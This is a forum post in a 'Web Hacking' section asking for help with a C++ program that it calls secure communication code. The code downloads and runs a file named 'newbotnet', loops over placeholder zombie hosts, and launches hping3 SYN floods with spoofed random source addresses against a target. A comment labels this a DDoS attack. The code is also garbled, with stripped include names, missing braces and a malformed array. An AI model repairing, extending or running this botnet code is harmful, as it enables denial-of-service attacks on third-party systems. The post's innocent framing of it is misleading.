Web Hacking
Need help running my C++ program
Hello everyone,
I’m currently working on a project in C++ where I’ve written a program that uses OpenSSL and libcurl to perform secure communication operations with a remote server. However, I’m having trouble getting it to run properly.
I wrote the code myself and used a C++ compiler to turn it into an executable. However, when I try to run the program, it doesn’t seem to work as expected. I’m not getting any specific error messages, but the program doesn’t seem to be performing the tasks I designed it for.
I was wondering if someone could take a look at my code and provide some advice on what might not be working correctly. I can share my source code if needed, and I would be grateful for any help or guidance you can offer.
Thank you very much for your assistance !
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include <unistd.h>
using namespace std ;
#define PORT 8080
#define SERV_ADDR "localhost"
#define TARGET_PORT 80
size_t writeData(void *ptr, size_t size, size_t nmemb, FILE* stream)
return fwrite(ptr, size, nmemb, stream) ;
int main()
// Initialisation de la bibliothèque OpenSSL
SSL_library_init() ;
SSL_load_error_strings() ;
// Création d’un contexte SSL
SSL_CTX *ctx = SSL_CTX_new(TLS_client_method()) ;
// Chargement du certificat et de la clé privée
SSL_CTX_use_certificate_file(ctx, "certificate.pem", SSL_FILETYPE_PEM) ;
SSL_CTX_use_PrivateKey_file(ctx, "key.pem", SSL_FILETYPE_PEM) ;
// Création d’une connexion SSL
int sockfd ;
struct sockaddr_in servaddr ;
bzero(&servaddr, sizeof(servaddr)) ;
servaddr.sin_family = AF_INET ;
servaddr.sin_port = htons(PORT) ;
inet_pton(AF_INET, SERV_ADDR, &servaddr.sin_addr) ;
sockfd = socket(AF_INET, SOCK_STREAM, 0) ;
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) ;
SSL *ssl = SSL_new(ctx) ;
SSL_set_fd(ssl, sockfd) ;
SSL_connect(ssl) ;
// Envoi de données sécurisées
char buf[1024] ;
SSL_write(ssl, buf, strlen(buf)) ;
// Réception de données sécurisées
SSL_read(ssl, buf, sizeof(buf)) ;
// Fonction de téléchargement d’un fichier
// Téléchargement du fichier depuis le serveur
CURL *curl = curl_easy_init() ;
if (curl)
curl_easy_setopt(curl, CURLOPT_URL, "http://[Log in to view URL]") ;
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, true) ;
FILE *file = fopen("newbotnet", "wb") ;
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeData) ;
curl_easy_setopt(curl, CURLOPT_WRITEDATA, file) ;
CURLcode res = curl_easy_perform(curl) ;
fclose(file) ;
curl_easy_cleanup(curl) ;
// Exécution de la nouvelle version du botnet
system("./newbotnet &") ;
string target_ip = "TARGET_IP" ;
string zombie_ips[] = "ZOMBIE_IP_1", "ZOMBIE_IP_2", "ZOMBIE_IP_3" ;
int num_zombies = sizeof(zombie_ips)/sizeof(zombie_ips[0]) ;
srand(time(0)) ;
while (true)
for (int i = 0 ; i < num_zombies ; i++)
// Recruit zombie to botnet
system(("nc " + zombie_ips[i] + " -z -w 1 " + target_ip + " " + to_string(TARGET_PORT)).c_str()) ;
// Generate random source IP address and port for DDoS attack
string src_ip = "" ;
for (int j = 0 ; j < 4 ; j++)
src_ip += to_string(rand() % 255) + "." ;
src_ip.erase(src_ip.length()-1) ;
int src_port = rand() % 65535 + 1024 ;
// Send fake SYN packet to target
system(("hping3 -c 1 -s " + to_string(src_port) + " -a " + src_ip + " -p " + to_string(TARGET_PORT) + " —syn " + target_ip).c_str()) ;
// Perform DDoS attack with randomly generated packet payloads
for (int k = 0 ; k < 100 ; k++)
int payload_length = rand() % 1000 + 1 ;
string payload = "" ;
for (int l = 0 ; l < payload_length ; l++)
payload += to_string(rand() % 10) ;
payload = "hping3 -c 1 -s " + to_string(src_port) + " -a " + src_ip + " -p " + to_string(TARGET_PORT) + " —rand-source —data-length " + to_string(payload_length) + " —data "" + payload + "" " + target_ip + " -p " + to_string(TARGET_PORT) ;
system(payload.c_str()) ;
// Nettoyage des ressources SSL
SSL_shutdown(ssl) ;
::close(sockfd) ;
SSL_CTX_free(ctx) ;
return 0 ;